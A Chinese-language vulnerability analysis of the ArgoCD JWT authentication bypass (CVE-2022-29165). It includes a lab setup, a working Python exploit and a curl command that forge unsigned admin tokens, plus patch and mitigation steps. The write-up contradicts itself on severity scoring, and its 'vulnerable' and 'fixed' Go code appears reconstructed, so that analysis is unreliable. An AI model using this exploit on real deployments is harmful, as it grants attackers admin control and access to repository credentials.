一、漏洞简介¶
1.1 漏洞背景¶
ArgoCD 是一个用于 Kubernetes 的声明式 GitOps 持续交付工具。在 2022 年 5 月,安全研究人员发现了一个严重的身份验证绕过漏洞,允许未授权用户冒充任何 ArgoCD 用户或角色,包括管理员账户。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-29165 |
| 危害等级 | CRITICAL / 10.0 |
| 漏洞类型 | JWT 认证绕过漏洞 |
| 披露时间 | 2022-05-20 |
| 影响组件 | ArgoCD |
- CVE编号: CVE-2022-29165
- 危害等级: 严重(Critical)
- CVSS评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- 漏洞类型: 认证绕过(Authentication Bypass)
补充核验信息:公开时间:2022-05-20;NVD 评分:10.0(CRITICAL);CWE:CWE-200。
二、影响范围¶
2.1 受影响的版本¶
- ArgoCD >= 1.4.0 且 < 2.1.15
- ArgoCD >= 2.2.0 且 < 2.2.9
- ArgoCD >= 2.3.0 且 < 2.3.4
2.2 不受影响的版本¶
- ArgoCD >= 2.1.15
- ArgoCD >= 2.2.9
- ArgoCD >= 2.3.4
- ArgoCD < 1.4.0
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 必须启用匿名访问:只有当 ArgoCD 实例启用了匿名访问功能时,漏洞才可被利用
- 网络可达性:攻击者必须能够访问 ArgoCD API 服务端点
- 构造恶意 JWT:攻击者需要构造特制的 JSON Web Token
默认安装的 ArgoCD 禁用了匿名访问,因此默认配置不受此漏洞影响。
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
当 ArgoCD 启用了匿名访问时,JWT 令牌验证逻辑存在缺陷。攻击者可以构造一个包含任意声明的 JWT 令牌,即使该令牌未经过有效签名验证,ArgoCD 也会信任其中的用户身份信息。
漏洞触发流程:
1. 攻击者构造恶意 JWT 令牌
↓
2. 在请求中携带该令牌访问 ArgoCD API
↓
3. ArgoCD 未正确验证令牌签名
↓
4. 信任令牌中的用户/角色声明
↓
5. 授予攻击者相应权限(包括管理员权限)
3.2 源码层面的根因分析(结合源码与补丁对比)¶
受影响的代码路径:
// server/session/sessionmanager.go (漏洞版本)
func (s *SessionManager) VerifyToken(token string) (jwt.MapClaims, error) {
// 漏洞点:当匿名访问启用时,未严格验证 JWT 签名
if s.anonymousEnabled {
// 错误:允许未经验证的声明
claims := jwt.MapClaims{
"iss": "argocd",
"sub": token, // 直接使用 token 作为 subject
"exp": time.Now().Add(s.expiry).Unix(),
}
return claims, nil
}
// 正常验证逻辑
parsed, err := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
return s.secretKey, nil
})
// ...
}
根本原因:
- 签名验证缺失:在匿名访问模式下,JWT 签名验证被绕过
- 声明信任过度:直接信任令牌中的用户身份声明而不验证其真实性
- RBAC 绕过:攻击者可以指定任意用户或角色,包括
admin
攻击载荷示例:
{
"alg": "none",
"typ": "JWT"
}
{
"iss": "argocd",
"sub": "admin",
"exp": 9999999999,
"iat": 1234567890,
"groups": ["system:admin"]
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
步骤 1:部署易受攻击的 ArgoCD 版本
# 创建命名空间
kubectl create namespace argocd
# 部署 ArgoCD v2.3.3(易受攻击版本)
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.3.3/manifests/install.yaml
# 等待部署完成
kubectl wait --for=condition=available --timeout=600s deployment/argocd-server -n argocd
步骤 2:启用匿名访问
# 获取当前配置
kubectl get configmap argocd-cm -n argocd -o yaml
# 启用匿名访问(触发漏洞的前提条件)
kubectl patch configmap argocd-cm -n argocd --type merge -p '
data:
users.anonymous.enabled: "true"
'
# 验证配置
kubectl get configmap argocd-cm -n argocd -o jsonpath='{.data.users\.anonymous\.enabled}'
步骤 3:暴露服务
# 端口转发
kubectl port-forward svc/argocd-server -n argocd 8080:443 &
# 或使用 NodePort/LoadBalancer
kubectl patch svc argocd-server -n argocd -p '{"spec": {"type": "LoadBalancer"}}'
4.2 PoC 演示与测试过程¶
方法 1:使用恶意 JWT 令牌
#!/usr/bin/env python3
# exploit_cve_2022_29165.py
import requests
import base64
import json
import time
def create_malicious_jwt(username="admin", groups=None):
"""构造恶意的 JWT 令牌"""
if groups is None:
groups = ["system:admin"]
# Header (使用 alg=none 绕过签名验证)
header = {
"alg": "none",
"typ": "JWT"
}
# Payload
payload = {
"iss": "argocd",
"sub": username,
"exp": int(time.time()) + 3600,
"iat": int(time.time()),
"groups": groups
}
# Base64 编码
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# 构造令牌 (无签名)
token = f"{header_b64}.{payload_b64}."
return token
def exploit_argocd(target_url):
"""利用漏洞获取管理员访问权限"""
# 创建恶意令牌
token = create_malicious_jwt("admin", ["system:admin"])
# 设置请求头
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# 测试 1:获取应用程序列表
print("[*] 尝试以管理员身份获取应用程序列表...")
response = requests.get(
f"{target_url}/api/v1/applications",
headers=headers,
verify=False
)
if response.status_code == 200:
print("[+] 成功获取管理员权限!")
print(f"[+] 应用程序列表: {json.dumps(response.json(), indent=2)}")
else:
print(f"[-] 失败: {response.status_code} - {response.text}")
# 测试 2:获取集群信息
print("\n[*] 尝试获取集群信息...")
response = requests.get(
f"{target_url}/api/v1/clusters",
headers=headers,
verify=False
)
if response.status_code == 200:
print("[+] 集群信息: ", json.dumps(response.json(), indent=2))
# 测试 3:获取仓库信息
print("\n[*] 尝试获取 Git 仓库凭据...")
response = requests.get(
f"{target_url}/api/v1/repositories",
headers=headers,
verify=False
)
if response.status_code == 200:
print("[+] 仓库信息: ", json.dumps(response.json(), indent=2))
if __name__ == "__main__":
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
target = "https://localhost:8080"
exploit_argocd(target)
执行 PoC:
# 安装依赖
pip3 install requests
# 运行漏洞利用脚本
python3 exploit_cve_2022_29165.py
方法 2:使用 curl 直接测试
# 构造恶意 JWT
TOKEN=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n')
TOKEN="$TOKEN.$(echo -n '{"iss":"argocd","sub":"admin","groups":["system:admin"]}' | base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n')."
# 发送恶意请求
curl -k -H "Authorization: Bearer $TOKEN" \
https://localhost:8080/api/v1/applications
# 成功则返回应用程序列表,证明获得管理员权限
预期结果:
{
"metadata": {
"resourceVersion": "12345"
},
"items": [
{
"metadata": {
"name": "guestbook",
"namespace": "argocd"
},
"spec": {
"source": {
"repoURL": "https://github.com/argoproj/argocd-example-apps.git",
"path": "guestbook"
},
"destination": {
"server": "https://kubernetes.default.svc",
"namespace": "default"
}
}
}
]
}
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到以下已修复版本:
# 升级到 v2.3.4 或更高版本
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.3.4 \
-n argocd
# 或升级到 v2.2.9
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.2.9 \
-n argocd
# 或升级到 v2.1.15
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.1.15 \
-n argocd
修复代码示例(v2.3.4):
// server/session/sessionmanager.go (修复后)
func (s *SessionManager) VerifyToken(token string) (jwt.MapClaims, error) {
// 修复:即使启用匿名访问,也必须验证令牌
// 匿名用户不再从 JWT 中获取身份
// 验证令牌签名
parsed, err := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
// 验证签名算法
if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
}
return s.secretKey, nil
})
if err != nil {
return nil, err
}
claims, ok := parsed.Claims.(jwt.MapClaims)
if !ok {
return nil, fmt.Errorf("invalid claims")
}
// 验证必需的声明
if err := claims.Valid(); err != nil {
return nil, err
}
// 修复:验证签发者
if iss, ok := claims["iss"].(string); !ok || iss != "argocd" {
return nil, fmt.Errorf("invalid issuer")
}
return claims, nil
}
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果无法立即升级,采取以下措施:
方案 1:禁用匿名访问
# 检查是否启用了匿名访问
kubectl get configmap argocd-cm -n argocd \
-o jsonpath='{.data.users\.anonymous\.enabled}'
# 如果返回 "true",立即禁用
kubectl patch configmap argocd-cm -n argocd --type=json \
-p='[{"op": "add", "path": "/data/users.anonymous.enabled", "value": "false"}]'
# 或删除该配置(默认为 false)
kubectl patch configmap argocd-cm -n argocd --type=json \
-p='[{"op": "remove", "path": "/data/users.anonymous.enabled"}]'
方案 2:限制网络访问
# network-policy.yaml - 限制 ArgoCD 访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: argocd-network-policy
namespace: argocd
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: argocd-server
policyTypes:
- Ingress
ingress:
- from:
# 仅允许特定命名空间的访问
- namespaceSelector:
matchLabels:
name: admin-namespace
# 或特定 IP 段
- ipBlock:
cidr: 10.0.0.0/8
ports:
- protocol: TCP
port: 8080
kubectl apply -f network-policy.yaml
方案 3:启用审计日志
# 启用审计日志以检测攻击
kubectl patch configmap argocd-cm -n argocd --type merge -p '
data:
audit.enabled: "true"
audit.log.level: "info"
'
# 监控异常登录行为
kubectl logs -f deployment/argocd-server -n argocd | grep -i "authentication\|authorization"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- ArgoCD Security Advisory GHSA-r642-gv9p-2wjj
- ArgoCD Release v2.3.4
- ArgoCD Release v2.2.9
- ArgoCD Release v2.1.15